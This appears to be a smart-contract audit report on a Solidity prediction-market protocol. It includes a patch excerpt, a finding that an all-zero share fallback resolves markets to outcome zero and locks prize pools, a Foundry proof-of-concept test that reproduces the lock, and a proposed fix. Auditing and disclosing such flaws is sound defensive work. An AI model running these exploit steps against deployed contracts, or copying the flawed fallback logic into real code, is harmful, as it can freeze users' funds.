     uint256 private priceCumulative_;
     uint256 private priceUpdatedAt_;
     uint256 private oraclePrice_;
     uint256 private oracleCumulative_;
     uint256 private oracleUpdatedAt_;
 
     mapping(uint256 => uint256) public  outcomeVotes;
     mapping(address => Ids.Set) private voterActiveOutcomeIds_;
     mapping(address => mapping(uint256 => uint256)) private outcomeStakeOf_;
 
     uint256 public pendingHYPE;
     uint256 public reserveHYPE;
     uint256 public reserveDAO;
     uint256 public totalLP;
 
     mapping(address => uint256) public lpOf;
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _name, string memory _symbol, address _juryAddr, address _cloudedAddr) ERC20(_name, _symbol) {
         JURY = _juryAddr;
         CLOUDED = _cloudedAddr;
     }
 
     function getVoterActiveOutcomeIds(address _voterAddr) external view returns (uint256[] memory) { return voterActiveOutcomeIds_[_voterAddr].getAll(); }
 
     function getVoterOutcomeVotes(address _voterAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeStakeOf_[_voterAddr][_outcomeIds[i]]; }
     }
 
     function getOutcomeVoteInBatch(uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeVotes[_outcomeIds[i]]; }
     }
 
     function getPool() external view returns (uint256, uint256, uint256) { return (reserveHYPE, reserveDAO, totalLP); }
 
     function getUserPosition(address _addr) external view returns (uint256 hypeBalance, uint256 daoBalance, uint256 lp, uint256 poolShareBPS, uint256 poolHYPE, uint256 poolDAO) {
         hypeBalance = address(_addr).balance;
         daoBalance  = balanceOf(_addr);
         lp          = lpOf[_addr];
         if (totalLP > 0 && lp > 0) {
             poolShareBPS = lp * 10000 / totalLP;
             poolHYPE     = lp * reserveHYPE / totalLP;
             poolDAO      = lp * reserveDAO  / totalLP;
         }
     }
 
     function quoteAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) external view returns (uint256 lp, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         require(_hypeAmount > 0 || _daoAmount > 0, "Input amount");
 
         if (totalLP == 0) require(_hypeAmount > 0 && _daoAmount > 0, "Add both tokens to initiate pool");
 
         if (_hypeAmount > 0 && _daoAmount == 0) { _daoAmount  = _hypeAmount * reserveDAO  / reserveHYPE; }
         if (_daoAmount > 0 && _hypeAmount == 0) { _hypeAmount = _daoAmount  * reserveHYPE / reserveDAO; }
 
         (lp, hypeUsed, daoUsed, hypeRefund, daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
     }
 
     function quoteRemoveLiquidity(uint256 _lp) external view returns (uint256 hype, uint256 dao) {
         require(_lp != 0 && totalLP != 0, "No liquidity in the pool");
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO  / totalLP;
     }
 
     function quoteHYPEForDAO(uint256 _hypeIn, uint256 _slippageBPS) external view returns (uint256 daoOut, uint256 minDaoOut) {
         require(_hypeIn > 0, "Zero input");
 
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         minDaoOut = daoOut * (10000 - _slippageBPS) / 10000;
     }
 
     function quoteDAOForHYPE(uint256 _daoIn, uint256 _slippageBPS) external view returns (uint256 hypeOut, uint256 minHypeOut) {
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
 
         minHypeOut = hypeOut * (10000 - _slippageBPS) / 10000;
     }
 
     function mint(address _to, uint256 _amount) external nonReentrant isJury { _mint(_to, _amount); }
 
     function stakeToVote(uint256 _outcomeId, uint256 _amount) external nonReentrant {
         require(_amount > 0, "Amount must be greater than 0");
         require(balanceOf(msg.sender) >= _amount * DECIMALS, "Insufficient balance");
 
         uint256 _outcomeMarketId  = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         require(_outcomeMarketId != 0, "Invalid outcome id");
 
         uint8   _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         require(_status == 3, "Not voting window");
 
         outcomeStakeOf_[msg.sender][_outcomeId] += _amount;
         outcomeVotes[_outcomeId]                += _amount;
         voterActiveOutcomeIds_[msg.sender].add(_outcomeId);
         _update(msg.sender, address(this), _amount * DECIMALS);
 
         emit StakeToVote(msg.sender, _outcomeMarketId, _outcomeId, _amount, outcomeVotes[_outcomeId]);
     }
 
     function unstake(uint256 _outcomeId) external nonReentrant {
         require(outcomeStakeOf_[msg.sender][_outcomeId] > 0, "No token staked");
         uint256 _outcomeStakeOf = outcomeStakeOf_[msg.sender][_outcomeId];
         outcomeStakeOf_[msg.sender][_outcomeId] = 0;
 
         uint256 _outcomeMarketId = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         uint8 _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         if (_status == 3) outcomeVotes[_outcomeId] -= _outcomeStakeOf;
 
         voterActiveOutcomeIds_[msg.sender].remove(_outcomeId);
         _update(address(this), msg.sender, _outcomeStakeOf * DECIMALS);
 
         emit Unstake(msg.sender, _outcomeMarketId, _outcomeId, _outcomeStakeOf, outcomeVotes[_outcomeId]);
     }
 
     function buyBack() external payable nonReentrant isJury {
         pendingHYPE += msg.value;
 
         if (totalLP == 0) {
             uint256 _initialAmount = pendingHYPE;
             _mint(address(this), _initialAmount);
             pendingHYPE         -= _initialAmount;
             reserveHYPE         += _initialAmount;
             reserveDAO          += _initialAmount;
             totalLP             += _initialAmount;
             lpOf[address(this)] += _initialAmount;
             priceUpdatedAt_  = block.timestamp;
             oracleUpdatedAt_ = block.timestamp;
             oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
         }
 
         _updateBuyBackOracle();
 
         uint256 _hypeIn = pendingHYPE;
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
 
         uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
         uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;
 
         if (_daoOut > 0 && _daoOut >= _minDaoOut) {
             pendingHYPE -= _hypeIn;
             reserveHYPE += _hypeIn;
             reserveDAO  -= _daoOut;
             _burn(address(this), _daoOut);
         }
         else _daoOut = 0;
 
         emit BuyBack(msg.value, _daoOut, reserveHYPE, reserveDAO);
     }
 
     function addLiquidity(uint256 _daoAmount, uint256 _minLpOut, uint256 _deadline) external payable nonReentrant returns (uint256 lpAdded) {
         require(block.timestamp <= _deadline, "Expired");
         require(balanceOf(msg.sender) >= _daoAmount, "Insufficient balance");
 
         uint256 _hypeAmount = msg.value;
         require(_hypeAmount > 0 && _daoAmount > 0, "Zero amount");
+        require(pendingHYPE == 0, "Buyback pending");
 
         uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
         (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
         require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] += lpAdded;
         totalLP          += lpAdded;
         reserveHYPE      += _hypeUsed;
         reserveDAO       += _daoUsed;
 
         _update(msg.sender, address(this), _daoUsed);
 
         if (_hypeRefund > 0) {
             (bool _success, ) = msg.sender.call{value: _hypeRefund}("");
             require(_success, "Refund failed");
         }
 
         emit AddLiquidity(msg.sender, lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
         require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
         require(block.timestamp <= _deadline, "Expired");
 
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO / totalLP;
         require(hype > 0 && dao > 0, "Zero output");
         require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] -= _lp;
         totalLP          -= _lp;
         reserveHYPE      -= hype;
         reserveDAO       -= dao;
 
         _update(address(this), msg.sender, dao);
 
         (bool _success, ) = msg.sender.call{value: hype}("");
         require(_success, "HYPE transfer failed");
 
         emit RemoveLiquidity(msg.sender, _lp, hype, dao, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(msg.value > 0, "Zero input");
 
         uint256 _hypeInAfterFee = msg.value * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveHYPE += msg.value;
         reserveDAO  -= daoOut;
         _update(address(this), msg.sender, daoOut);
 
         emit Swap(msg.sender, msg.value, 0, 0, daoOut, reserveHYPE, reserveDAO);
     }
 
     function swapDAOForHYPE(uint256 _daoIn, uint256 _minHypeOut, uint256 _deadline) external nonReentrant returns (uint256 hypeOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
         require(hypeOut >= _minHypeOut && hypeOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveDAO  += _daoIn;
         reserveHYPE -= hypeOut;
         _update(msg.sender, address(this), _daoIn);
 
         (bool _success, ) = msg.sender.call{value: hypeOut}("");
         require(_success, "HYPE transfer failed");
 
         emit Swap(msg.sender, 0, _daoIn, hypeOut, 0, reserveHYPE, reserveDAO);
     }
 
     function _calculateAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) private view returns (uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         if (totalLP == 0) {
             uint256 _sqrtK = _sqrt(_hypeAmount * _daoAmount);
             hypeUsed = _hypeAmount;
             daoUsed  = _daoAmount;
             lpAdded  = _sqrtK;
         } else {
             uint256 _lpByHype = _hypeAmount * totalLP / reserveHYPE;
             uint256 _lpByDAO  = _daoAmount  * totalLP / reserveDAO;
             lpAdded = _lpByHype < _lpByDAO ? _lpByHype : _lpByDAO;
             if (_lpByHype < _lpByDAO) {
                 hypeUsed  = _hypeAmount;
                 daoUsed   = _hypeAmount * reserveDAO / reserveHYPE;
                 daoRefund = _daoAmount - daoUsed;
             } else if (_lpByDAO < _lpByHype) {
                 daoUsed    = _daoAmount;
                 hypeUsed   = _daoAmount * reserveHYPE / reserveDAO;
                 hypeRefund = _hypeAmount - hypeUsed;
             } else {
                 hypeUsed = _hypeAmount;
                 daoUsed  = _daoAmount;
             }
             require(hypeUsed > 0 && daoUsed > 0, "Insufficient liquidity");
         }
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 
     function _updateBuyBackOracle() private {
         if (totalLP == 0) return;
 
         uint256 _timestamp = block.timestamp;
 
         uint256 _priceElapsed = _timestamp - priceUpdatedAt_;
         if (_priceElapsed > 0) {
             priceCumulative_ += (reserveDAO * DECIMALS / reserveHYPE) * _priceElapsed;
             priceUpdatedAt_   = _timestamp;
         }
 
         uint256 _oracleElapsed = _timestamp - oracleUpdatedAt_;
         if (_oracleElapsed >= ORACLE_PERIOD) {
             oraclePrice_      = (priceCumulative_ - oracleCumulative_) / _oracleElapsed;
             oracleCumulative_ = priceCumulative_;
             oracleUpdatedAt_  = _timestamp;
         }
     }
 }
\ No newline at end of file

Affected files

  • src/CloudedDAO.sol
  • CloudedDAO.sol

Validation output

[output truncated: 1148 lines & 64.4697265625 KB skipped]
Ran 1 test suite in 10.85ms (3.07ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: Buyback pending] testLateLPAccruesPreExistingPendingBuybackHype() (gas: 378467)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Zero-share fallback locks rewards

Critical#298676Validity: Unreviewed

Comment:

In a correctly created and resolved market, traders have sufficient time to switch to whichever outcome they believe is correct. The winning outcome's share count should never be zero, because the market is designed to self-correct through price signals and implied rewards. In the rare scenario where traders fail to switch or collectively back the wrong outcome, locking the rewards is the intended behavior.

Source locations

Uploaded archive/CloudedJury.sol

Lines 603-608 — _Unchallenged resolution uses Clouded's winning-outcome fallback when jury outcome is zero._

    function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
        Market storage market = markets_[_marketId];
        if (!market.marketResolved)    return 0;
        if (market.votingOutcome != 0) return market.votingOutcome;
        if (market.juryOutcome != 0)   return market.juryOutcome;
        return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);

Uploaded archive/Clouded.sol (3 locations)

Lines 246-266 — _All existing outcome shares can be sold during the ongoing phase._

    function sell(uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) external nonReentrant {
        Outcome storage outcome  = outcomes_[_outcomeId];
        uint256 _outcomeMarketId = outcome.marketId;
        require(_outcomeMarketId != 0, "Invalid outcome id");
        require(IJury(JURY).updateMarketStatus(_outcomeMarketId) == 0, "Market ended");
        require(balanceOf(msg.sender, _outcomeId) >= _shares, "Insufficient balance");
        require(_shares > 0, "Shares cannot be 0");
        require(_slippageBPS <= 2000, "Exceed max slippage");

        Market storage market = markets_[_outcomeMarketId];
        uint256 _refund       = _getPriceAppreciation(market.shares, false, _shares) / 2;
        uint256 _minRefund    = _frontendPrice * (10000 - _slippageBPS) / 10000;
        require(_refund >= _minRefund, "Exceed slippage");

        _calculateAvgSell(msg.sender, _outcomeId, _shares, _refund);
        _calculateAvgCost(msg.sender, _outcomeId, false, _shares, _refund);

        market.shares      -= _shares;
        market.bondingPool -= _refund;
        outcome.shares     -= _shares;
        _burn(msg.sender, _outcomeId, _shares);
⋯ code omitted for brevity ⋯

Lines 283-309 — _Claim path requires resolution, burns valid outcome shares, and pays only when an outcome ID equals the resolved ID._

    function claimReward(uint256 _marketId) external nonReentrant {
        require(IJury(JURY).updateMarketStatus(_marketId) == 4, "Market not ended");

        (, , , , , uint256 _juryOutcomeId, uint256 _votingOutcomeId, , , bool _marketResolved) = IJury(JURY).getMarketStoredInfo(_marketId);
        require(_marketResolved, "Market not resolved");

        uint256 _resolvedOutcomeId;
        if (_votingOutcomeId != 0)    _resolvedOutcomeId = _votingOutcomeId;
        else if (_juryOutcomeId != 0) _resolvedOutcomeId = _juryOutcomeId;
        else                          _resolvedOutcomeId = _getMarketWinningOutcome(_marketId);

        uint256 _traderShares;
        uint256 _traderReward;
        uint256 _totalReward = _getMarketTotalReward(_marketId);
        uint256[] memory _outcomeIds = markets_[_marketId].outcomeIds;
        for (uint256 i = 0; i < _outcomeIds.length; i++) {
            _traderShares = balanceOf(msg.sender, _outcomeIds[i]);
            if (_traderShares == 0) continue;
            _burn(msg.sender, _outcomeIds[i], _traderShares);
            traderOutcomeIds_[msg.sender].remove(_outcomeIds[i]);
            if (_outcomeIds[i] == _resolvedOutcomeId) _traderReward = _calculateOutcomeReward(_traderShares, _totalReward, outcomes_[_resolvedOutcomeId].shares);
            emit ClaimTraderReward(msg.sender, _marketId, _outcomeIds[i], _traderShares, _totalReward, _traderReward);
        }

        if (_traderReward > 0) {
            (bool _success, ) = msg.sender.call{value: _traderReward}("");
            require(_success, "Refund failed");
⋯ code omitted for brevity ⋯

Lines 343-354 — _All-zero outcome shares leave the fallback winner ID at zero._

    function _getMarketWinningOutcome(uint256 _marketId) private view returns (uint256) {
        uint256 _currentOutcomeId;
        uint256 _winningOutcomeShares;
        uint256 _winningOutcomeId;
        for (uint256 i = 0; i < markets_[_marketId].outcomeIds.length; i++) {
            _currentOutcomeId = markets_[_marketId].outcomeIds[i];
            if (outcomes_[_currentOutcomeId].shares > _winningOutcomeShares) {
                _winningOutcomeShares = outcomes_[_currentOutcomeId].shares;
                _winningOutcomeId = _currentOutcomeId;
            }
        }
        return _winningOutcomeId;

Description

The no-jury fallback can produce a zero resolved outcome when every Clouded outcome has zero remaining shares. The fallback helper initializes its winner amount and ID to zero and updates only on strict greater-than, so an all-zero market returns outcome ID zero even though valid outcome IDs start above zero. Clouded's reward claim then burns any remaining outcome shares but never finds an outcome ID equal to zero, leaving the market pool with no recipient payout.

Root cause

The fallback winner calculation uses zero as both the initial maximum and the invalid-outcome sentinel, with no guard for an all-zero share state; settlement accepts that sentinel as a resolved outcome.

Impact

A market whose shares are fully unwound before settlement can become resolved with the sentinel outcome 0; any residual prize pool is then permanently unclaimable because no valid outcome matches the resolved ID. This is a settlement liveness and fund-locking failure reachable without a challenged-market vote.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

/// @dev Code is etched at CloudedManager's hard-coded governance-token address.
contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function totalSupply() external view returns (uint256) {
        return supply;
    }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;
    address internal admin = makeAddr("manager-admin");
    address internal creator = makeAddr("market-creator");
    address internal bystander = makeAddr("bystander");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    function setUp() public {
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.addToWhitelist(creator);
        vm.stopPrank();

        vm.deal(creator, 100 ether);
        vm.deal(bystander, 1 ether);

        vm.prank(creator);
        jury.mint{value: 15 ether}(5);
    }

    function _createMarket() internal returns (uint256[] memory outcomeIds, uint256 startAt) {
        string[] memory outcomes = new string[](2);
        outcomes[0] = "YES";
        outcomes[1] = "NO";
        uint256[] memory collateral = jury.getUserTokenIds(creator);

        uint256 initialShares = 10;
        uint256 creationBuyPrice = clouded.getPriceAppreciation(1, true, initialShares);
        vm.prank(creator);
        jury.createMarket{value: creationBuyPrice}(
            "Will all shares unwind?",
            "Resolve from trading fallback after all outcome shares are sold.",
            outcomes,
            1,
            collateral,
            1,
            initialShares
        );

        (, , outcomeIds, startAt, , , , ) = clouded.getMarketInfo(1);
    }

    function _contains(uint256[] memory ids, uint256 needle) internal pure returns (bool) {
        for (uint256 i = 0; i < ids.length; i++) {
            if (ids[i] == needle) return true;
        }
        return false;
    }

    function test_zeroShareFallbackResolvesToInvalidOutcomeAndLocksPrizePool() public {
        (uint256[] memory outcomeIds, uint256 startAt) = _createMarket();
        uint256 boughtOutcome = outcomeIds[0];

        assertEq(clouded.balanceOf(creator, boughtOutcome), 10, "setup bought real ERC1155 outcome shares");
        assertTrue(_contains(outcomeIds, boughtOutcome), "setup outcome id is a valid market outcome");

        uint256 rewardBeforeSell = clouded.getMarketTotalReward(1);
        assertGt(rewardBeforeSell, 0, "setup buy created a nonzero market reward pool");

        // Public exploit step: the creator unwinds every share before the market ends.
        // This burns the only ERC1155 outcome supply and drives all Clouded outcome share counters to zero.
        vm.prank(creator);
        clouded.sell(boughtOutcome, 10, 0, 2000);

        (, , , , , uint256 marketSharesAfterSell, uint256 bondingPoolAfterSell, uint256 prizePoolAfterSell) = clouded.getMarketInfo(1);
        assertEq(marketSharesAfterSell, 0, "all market shares were sold back through the public sell entry point");
        assertEq(clouded.balanceOf(creator, boughtOutcome), 0, "seller no longer holds claimable outcome shares");
        assertGt(prizePoolAfterSell, 0, "nonrefundable prize pool remains after the full unwind");
        assertEq(clouded.getMarketTotalReward(1), bondingPoolAfterSell + prizePoolAfterSell, "remaining reward is tracked in Clouded accounting");

        // Public settlement path with no jury reveal/challenge.  The fallback winner helper is now evaluated
        // on an all-zero share set and returns a value outside the market's valid outcome ids.
        vm.warp(startAt + 3 days);
        jury.resolveMarket(1);

        (uint256 resolvedOutcome, uint8 status) = jury.getMarketDerivedInfo(1);
        assertEq(status, 4, "market reached SETTLED through the native status machine");
        assertFalse(_contains(outcomeIds, resolvedOutcome), "resolved outcome is not one of the market's valid Clouded outcome ids");
        assertLt(resolvedOutcome, outcomeIds[0], "resolved outcome is the zero sentinel below the first valid outcome id");
        assertEq(resolvedOutcome, clouded.getMarketWinningOutcome(1), "jury resolution accepted Clouded's all-zero fallback winner");

        uint256 lockedReward = clouded.getMarketTotalReward(1);
        uint256 cloudedBalanceBeforeClaim = address(clouded).balance;
        uint256 bystanderBalanceBeforeClaim = bystander.balance;
        assertGt(lockedReward, 0, "settled market still has value to distribute");

        // Public claim path cannot pay anyone: there is no valid winning outcome id and no remaining shares.
        vm.prank(bystander);
        clouded.claimReward(1);

        assertEq(bystander.balance, bystanderBalanceBeforeClaim, "claiming the zero-outcome resolution pays no recipient");
        assertEq(address(clouded).balance, cloudedBalanceBeforeClaim, "unclaimed reward value remains stuck in Clouded");
        assertEq(clouded.getMarketTotalReward(1), lockedReward, "Clouded accounting still reports the locked reward pool");
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1171 lines & 64.203125 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] test_zeroShareFallbackResolvesToInvalidOutcomeAndLocksPrizePool() (gas: 1875864)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.76ms (1.06ms CPU time)

Ran 1 test suite in 9.41ms (2.76ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC executed successfully with strategyId=unit:test-poc-t-sol; forge test --match-path test/Poc.t.sol -vv passed 1/1. The test drives the real deployed CloudedJury.createMarket, Clouded.sell, CloudedJury.resolveMarket, Clouded.getMarketWinningOutcome, and Clouded.claimReward paths. It demonstrates the all-zero share fallback resolving to the invalid zero sentinel and leaving a nonzero Clouded reward pool/ETH balance unchanged after a public claim attempt. The PoC uses the harness governance-token mock only to complete normal deployment/whitelist wiring; it does not use privileged calls, storage mutation, or mocks for the vulnerable market/sell/resolve/claim logic.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Initialize the fallback winner to the market's first valid outcome ID, so an all-zero share set resolves deterministically to a valid market outcome rather than sentinel zero while preserving existing positive-share winner selection.

Patch

diff
diff --git a/src/Clouded.sol b/src/Clouded.sol
--- a/src/Clouded.sol
+++ b/src/Clouded.sol
@@ -1,412 +1,412 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC1155 } from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury {
     function updateMarketStatus(uint256) external returns (uint8);
     function getMarketStoredInfo(uint256) external view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, bytes32, bool, bool);
 }
 
 contract Clouded is ERC1155, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event Buy(address indexed buyer, uint256 indexed marketId, uint256 indexed outcomeId, uint256 shares, uint256 frontendPrice, uint256 slippageBPS, uint256 marketShares, uint256 outcomeShares, uint256 bondingPool, uint256 prizePool);
     event Sell(address indexed seller, uint256 indexed marketId, uint256 indexed outcomeId, uint256 shares, uint256 refund, uint256 frontendPrice, uint256 slippageBPS, bool isTraderOutcome);
     event SellAfter(uint256 indexed marketId, uint256 indexed outcomeId, uint256 marketShares, uint256 outcomeShares, uint256 bondingPool);
     event TraderAvgCost(address indexed trader, uint256 indexed outcomeId, uint256 avgCost);
     event TraderAvgSell(address indexed trader, uint256 indexed outcomeId, uint256 avgSell, int256 pnl);
     event ClaimTraderReward(address indexed trader, uint256 indexed marketId, uint256 indexed outcomeId, uint256 traderShares, uint256 totalReward, uint256 traderReward);
     event TransferToken(address indexed from, address indexed to, uint256 indexed outcomeId, bool isTraderOutcomesFrom);
 
     uint256 constant B = 1;
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public immutable JURY;
 
     uint256 public nextMarketId;
     uint256 public nextOutcomeId;
 
     mapping(uint256 => Market)  private markets_;
     mapping(uint256 => Outcome) private outcomes_;
 
     mapping(address => Ids.Set) private traderOutcomeIds_;
     mapping(address => mapping(uint256 => AvgPrice)) private traderOutcomeAvgCost_;
     mapping(address => mapping(uint256 => AvgPrice)) private traderOutcomeAvgSell_;
     mapping(address => mapping(uint256 => int256)) private traderOutcomePnl_;
 
     struct Market {
         string name;
         string rule;
         uint256[] outcomeIds;
         uint256 startAt;
         uint256 daysOf;
         uint256 shares;
         uint256 bondingPool; // Accumulated bonding curve deposits. Refundable via sell during market; at settlement, distributed proportionally to winners.
         uint256 prizePool; // Fixed buy-in contributions from all traders. Non-refundable. Combined with bondingPool, Distributed to winners at settlement.
     }
 
     struct Outcome {
         uint256 marketId;
         string name;
         uint256 shares;
     }
 
     struct AvgPrice {
         uint256 shares;
         uint256 avgPrice;
     }
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _uri, address _managerAddr, address _juryAddr) ERC1155(_uri) {
         nextMarketId = 1;
         nextOutcomeId = 1;
         MANAGER = _managerAddr;
         JURY = _juryAddr;
     }
 
     function getMarketStartAtDaysOf(uint256 _marketId) external view returns (uint256, uint256) { return (markets_[_marketId].startAt, markets_[_marketId].daysOf); }
 
     function getMarketOutcomeIds(uint256 _marketId) external view returns (uint256[] memory) { return markets_[_marketId].outcomeIds; }
 
     function getOutcomeMarketId(uint256 _outcomeId) external view returns (uint256) { return outcomes_[_outcomeId].marketId; }
 
     function getMarketWinningOutcome(uint256 _marketId) external view returns (uint256) { return _getMarketWinningOutcome(_marketId); } // The function returns the outcome with most shares in a market
 
     function getMarketTotalReward(uint256 _marketId) external view returns (uint256) { return _getMarketTotalReward(_marketId); }
 
     function getMarketInfo(uint256 _marketId) external view returns (
         string    memory name, 
         string    memory rule, 
         uint256[] memory outcomeIds, 
         uint256 startAt, 
         uint256 daysOf, 
         uint256 shares, 
         uint256 bondingPool, 
         uint256 prizePool
     ) {
         name        = markets_[_marketId].name;
         rule        = markets_[_marketId].rule;
         outcomeIds  = markets_[_marketId].outcomeIds;
         startAt     = markets_[_marketId].startAt;
         daysOf      = markets_[_marketId].daysOf;
         shares      = markets_[_marketId].shares;
         bondingPool = markets_[_marketId].bondingPool;
         prizePool   = markets_[_marketId].prizePool;
     }
 
     function getTraderOutcomeIds(address _traderAddr) external view returns (uint256[] memory) { return traderOutcomeIds_[_traderAddr].getAll(); }
 
